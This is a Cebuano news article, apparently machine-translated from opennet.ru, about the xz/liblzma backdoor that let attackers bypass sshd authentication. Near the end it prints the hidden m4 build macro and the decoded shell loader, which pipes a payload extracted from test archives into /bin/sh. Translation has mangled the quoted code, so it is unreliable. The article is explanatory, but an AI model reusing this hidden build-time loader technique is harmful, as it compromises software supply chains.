Nadiskobrehan ang usa ka backdoor sa xz/liblzma library nga nagtugot sa pagsulod pinaagi sa sshd

Sa XZ Utils package, nga naglakip sa liblzma library ug mga utilities alang sa pagtrabaho uban sa compressed data sa ".xz" format, usa ka backdoor (CVE-2024-3094) ang giila nga nagtugot sa interception ug pagbag-o sa datos nga giproseso sa mga aplikasyon nga nalangkit. uban sa liblzma library. Ang nag-unang target sa backdoor mao ang OpenSSH server, nga sa pipila ka mga distribusyon gihugpong sa libsystemd library, nga sa baylo naggamit sa liblzma. Ang pag-link sa sshd sa usa ka mahuyang nga librarya nagtugot sa mga tig-atake nga makakuha og access sa SSH server nga walay panghimatuud.

Ang backdoor naa sa opisyal nga pagpagawas sa 5.6.0 ug 5.6.1, nga gipatik kaniadtong Pebrero 24 ug Marso 9, nga nakahimo sa pagsulod sa pipila ka mga distribusyon ug mga repositoryo, pananglitan, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ug 40-beta, openSUSE factory ug tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Ang tanan nga tiggamit sa xz 5.6.0 ug 5.6.1 nga gipagawas girekomenda nga dinalian nga ibalik sa bersyon 5.4.6.

Lakip sa mga hinungdan nga nagpagaan sa problema, mahibal-an nga ang bersyon sa liblzma nga adunay backdoor wala makahimo nga mahimong bahin sa mga lig-on nga pagpagawas sa daghang mga pag-apod-apod, apan naapektuhan ang openSUSE Tumbleweed ug Fedora 40-beta. Ang Arch Linux ug Gentoo migamit ug huyang nga bersyon sa zx, apan dili daling maatake tungod kay wala nila i-apply ang systemd-notify patch sa openssh, nga maoy hinungdan nga ang sshd ma-link sa liblzma. Ang backdoor makaapekto lamang sa x86_64 nga mga sistema base sa Linux kernel ug sa Glibc C library.

Ang backdoor activation code gitago sa m4 macros gikan sa build-to-host.m4 file nga gigamit sa automake toolkit sa pagtukod. Atol sa asembliya, sa panahon sa pagpatuman sa makuti nga mga obfuscated nga mga operasyon base sa mga archive (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), gigamit sa pagsulay sa pagkahusto sa operasyon, usa ka object file nga adunay malisyoso nga code ang namugna, nga gilakip sa ang librarya sa liblzma ug giusab ang lohika sa operasyon pipila sa mga gimbuhaton niini. Ang backdoor-activating m4 macros gilakip sa mga release tarballs, apan wala magamit sa Git repository. Sa samang higayon, ang malisyosong mga archive sa pagsulay anaa sa repositoryo, i.e. ang tawo nga nagpatuman sa backdoor adunay access sa repositoryo ug sa mga proseso sa pagpagawas sa henerasyon.

Kung gigamit ang liblzma sa mga aplikasyon, ang makadaot nga mga pagbag-o mahimong magamit sa pag-intercept o pagbag-o sa datos, o makaapekto sa operasyon sa sshd. Sa partikular, ang malisyoso nga code nag-spoof sa RSA_public_decrypt function aron malaktawan ang proseso sa sshd authentication. Ang backdoor naglakip sa proteksyon gikan sa detection ug wala magpakita sa iyang kaugalingon sa diha nga ang LANG ug TERM environment variables gitakda (ie, sa diha nga nagpadagan sa proseso sa terminal) ug ang LD_DEBUG ug LD_PROFILE environment variables wala gitakda, ug gi-aktibo lamang sa dihang gipatuman ang /usr/sbin/sshd executable file . Ang backdoor usab adunay usa ka paagi sa pag-ila sa pagpatay sa debug nga mga palibot.

Sa partikular, ang m4/build-to-host.m4 file migamit gl_am_configmake=`grep -aErls β€œ#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \Β»r\n\Β» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Sa unang konstruksyon, ang grep operation nakit-an ang file tests/files/bad-3-corrupt_lzma2.xz, nga, sa dihang gi-unpack, nakamugna sa script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` kon test -f ../../config.status;unya eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirΒ» fi export i=Β»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo - c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo - c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >/ dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && ( ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >> dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +2048 && (ulo -c +1024 >/dev/null) && ulo -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F hilaw β€”lzma1 -dc|/bin/sh ####Kalibutan####

Giunsa nga ang mga tig-atake nakahimo sa pag-access sa imprastraktura sa xz nga proyekto wala pa hingpit nga gipatin-aw. Dili pa usab klaro kung pila ang mga tiggamit ug proyekto nga nakompromiso tungod sa backdoor. Ang giingong tagsulat sa backdoor (JiaT75 - Jia Tan), nga nag-post sa mga archive nga adunay malisyoso nga code sa repository, nakigsulti sa mga developer sa Fedora ug nagpadala sa mga hangyo sa pagbitad sa Debian nga may kalabutan sa pagbalhin sa mga distribusyon ngadto sa xz 5.6.0 nga sanga, ug wala. makapukaw sa pagduda, tungod kay miapil siya sa xz nga nag-uswag sa miaging duha ka tuig ug mao ang ikaduha nga developer sa mga termino sa gidaghanon sa mga pagbag-o nga nahimo. Dugang pa sa xz nga proyekto, ang giingong tagsulat sa backdoor miapil usab sa pagpalambo sa xz-java ug xz-embedded packages. Dugang pa, si Jia Tan pipila ka adlaw ang milabay gilakip sa gidaghanon sa mga tigmentinar sa XZ Embedded nga proyekto nga gigamit sa Linux kernel.

Ang malisyoso nga pagbag-o nadiskobrehan human sa pag-analisar sa sobra nga pagkonsumo sa CPU ug mga sayop nga nahimo sa valgrind sa dihang nagkonektar pinaagi sa ssh ngadto sa Debian sid-based nga mga sistema. Mamatikdan nga ang xz 5.6.1 nga pagpagawas naglakip sa mga pagbag-o nga giandam sa giingong tagsulat sa backdoor isip tubag sa mga reklamo mahitungod sa sshd slowdowns ug crashes nga mitumaw human sa pag-upgrade sa zx 5.6.0 nga bersyon sa backdoor. Dugang pa, sa miaging tuig si Jia Tan mihimo og mga kausaban nga dili uyon sa "-fsanitize=address" inspection mode, hinungdan nga kini na-disable atol sa fuzz testing.

Source: opennet.ru

Idugang sa usa ka comment